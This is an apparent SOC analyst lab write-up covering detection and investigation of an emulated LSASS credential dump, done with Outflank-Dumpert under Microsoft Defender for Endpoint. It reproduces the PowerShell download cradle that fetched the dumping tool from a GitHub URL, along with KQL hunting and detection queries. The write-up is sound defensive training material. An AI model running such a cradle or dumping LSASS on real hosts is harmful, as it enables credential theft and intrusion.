Dumping LSASS,
and catching it.

A credential-dumping tool was downloaded via a PowerShell cradle, executed through the command shell, and used to read the memory of the Windows lsass.exe process, writing a 53 MB credential dump to disk. Microsoft Defender for Endpoint detected the activity, raised multiple high-severity alerts, and automatically isolated the host. Through structured triage and KQL threat hunting, the full attack lifecycle was reconstructed, enriched with threat intelligence, and confirmed as a true positive.

A focused single-host lab with full EDR telemetry, mirroring the foundational visibility a SOC analyst works with daily. A clean, well-understood environment makes detection validation defensible: every event can be attributed and explained.

Tooling note — Outflank-Dumpert was chosen deliberately. It uses direct system calls and API unhooking to access LSASS while evading the userland hooks many EDRs rely on. Validating detection against an evasion-aware tool is a stronger test than a naïve procdump run.

This section follows the actual order of investigation. It is written to show analyst reasoning, not just findings.

3.1  Initial Alert & Triage Discipline

The investigation began from an MDE alert flagged as potential human-operated suspicious activity. Before concluding anything, I reviewed the surrounding device timeline. The activity immediately preceding the alert was a routine browser session, expected baseline for this host. I then examined the process tree at the head of the chain.

FIG 01process tree — wininit → services → mssense

3.2  Scoping the Incident

FIG 02impacted assets — host & identity

Blast radius: one device (winserv2025, High risk) and one flagged account (mrdaniel98).

3.3  Separating Signal from Correlated Noise

The incident timeline held two high-severity alerts and one lower-value correlated artifact.

FIG 03incident alert timeline

The msedge.exe renamed Local State event drew attention because the file signer showed as Unknown. I investigated rather than assuming.

FIG 04file-rename telemetry — Edge profile write

3.4  The Real Lead — Credential Access (T1003.001)

Two high-severity alerts defined the incident: Compromised account credentials (Credential Access) and Compromised account conducting hands-on-keyboard attack (Lateral Movement). The first was explicitly tagged T1003.001 — LSASS Memory and named the responsible process.

FIG 05T1003.001 alert — Outflank-Dumpert reads lsass.exe

Reconstructing the process tree gave the execution chain:

powershell.exe (8768)            # initial download cradle
   └─ cmd.exe (10080)            # /c "...\ExternalPayloads\Outflank-Dumpert.exe"
        └─ Outflank-Dumpert.exe (2764)   # unsigned · VirusTotal 52/70
             └─ accessed lsass.exe (856) # Credential Access

FIG 06malicious payload — path & file hashes

3.5  Confirming the Delivery Mechanism

Pivoting to Advanced Hunting, the initiating PowerShell command line told the full story — a textbook stage-and-execute download cradle.

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -ItemType Directory (Split-Path "...\ExternalPayloads\Outflank-Dumpert.exe") -Force
Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/.../Outflank-Dumpert.exe" `
   -OutFile "...\ExternalPayloads\Outflank-Dumpert.exe"

Forces TLS 1.2 to guarantee the download, creates a staging directory, pulls the payload from a public code-hosting URL, and saves it for execution.

FIG 07advanced hunting — payload file creation

3.6  Confirming Impact — Did the Dump Succeed?

The most important question in any credential-access incident: did the attacker actually obtain credentials? I hunted for the dump artifact.

DeviceFileEvents
| where DeviceName == "winserv2025"
| where FileName == "dumpert.dmp"
| project Timestamp, FileName, FolderPath, ActionType, FileSize,
          InitiatingProcessFileName, SHA256

FIG 08dump artifact — dumpert.dmp created in C:\Windows\Temp

FIG 09impact confirmed — 55,577,992 bytes (~53 MB)

3.7  Post-Exploitation Hunting

Querying process activity in the session window revealed what the operator did around the dump.

FIG 10post-exploitation — discovery & persistence telemetry

3.8  Exfiltration Hunt (Network Analysis)

Final question: did the 53 MB dump leave the machine? I scoped outbound connections to the attack-relevant processes only.

DeviceNetworkEvents
| where DeviceName == "winserv2025"
| where Timestamp >= datetime(2026-06-07T15:45:14Z)
| where InitiatingProcessFileName in~ ("powershell.exe","cmd.exe","Outflank-Dumpert.exe")
| project Timestamp, RemoteIP, RemotePort, RemoteUrl, InitiatingProcessFileName

FIG 11network connection analysis

I enriched the most interesting outbound domain with threat intelligence.

FIG 12threat-intel enrichment — VirusTotal

Malicious binary — Outflank-Dumpert.exe

Credential dump artifact — dumpert.dmp

Network & host (defanged)

Note: the specific raw URL is the indicator; github.com itself is a legitimate, widely abused host and should not be blocked wholesale.

Reusable detection logic for this attack class. Each query is paired with false-positive tuning, because a detection that fires constantly is as useless as one that never fires.

6.1  LSASS access by a non-system process // core T1003.001

DeviceEvents
| where ActionType == "LsassProcessAccess"
| where InitiatingProcessFileName !in~ (
    "MsMpEng.exe","mssense.exe","svchost.exe","csrss.exe",
    "wininit.exe","lsass.exe","services.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessFolderPath, InitiatingProcessCommandLine

Catches: any process outside a known-good allowlist reading LSASS — the defining behavior of T1003.001. Tuning: build the allowlist from your own environment baseline; legitimate security and backup agents touch LSASS.

6.2  PowerShell download cradle writing an EXE

DeviceProcessEvents
| where InitiatingProcessFileName =~ "powershell.exe"
| where ProcessCommandLine has_any ("Invoke-WebRequest","IWR","Net.WebClient","DownloadFile")
| where ProcessCommandLine has_any (".exe","-OutFile")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine

Catches: the staging step where PowerShell pulls a remote binary to disk. Tuning: pair with reputation (unsigned/new file) to separate from legitimate installers.

6.3  Suspicious .dmp artifact in a temp path

DeviceFileEvents
| where ActionType == "FileCreated" and FileName endswith ".dmp"
| where FolderPath has_any ("\\Temp\\","\\AppData\\","\\ProgramData\\")
| where InitiatingProcessFileName !in~ ("WerFault.exe","dwwin.exe")
| project Timestamp, DeviceName, FileName, FolderPath, FileSize, InitiatingProcessFileName

Catches: on-disk evidence of a successful dump — a backstop when the access event is missed. Tuning: Windows Error Reporting is excluded; large dumps from unexpected parents are the signal.

FIG 13MDE Attack Disruption — automatic host isolation

Containment, eradication, and recovery guidance a SOC would attach to this incident.

1. Isolate winserv2025 (MDE did this automatically — confirm it held).
2. Treat mrdaniel98 and every credential cached on the host as compromised.
3. Preserve dumpert.dmp for forensic analysis before removal.

1. Remove the payload and staging directory.
2. Force password resets for the account and any identity that logged on to the host; rotate cached local-admin and service-account secrets.
3. Invalidate active Kerberos tickets; consider krbtgt reset if domain-joined and broader compromise is suspected.

1. Enable LSA Protection (RunAsPPL) and Credential Guard to make LSASS dumping materially harder.
2. Deploy the Section 6 analytics as scheduled detections; add custom indicators for the payload hashes.
3. Restrict PowerShell with Constrained Language Mode and script-block logging where feasible.

• Confirming impact is the analyst's job, not an assumption. The dump file size was the difference between "a tool ran" and "credentials were stolen."
• Verify before dismissing, and dismiss when verified. The Edge Local State rename was worth one query to clear; chasing it further would have wasted time on the real lead.
• Reputation scores are an input, not a verdict. Both the malicious binary (52/70) and the benign domain (0/91) were read in context.
• Tooling can interfere with itself. MDE Attack Disruption auto-isolated the host mid-emulation; recognising that the EDR was severing the process chain, and managing around it safely, is itself a real operational skill.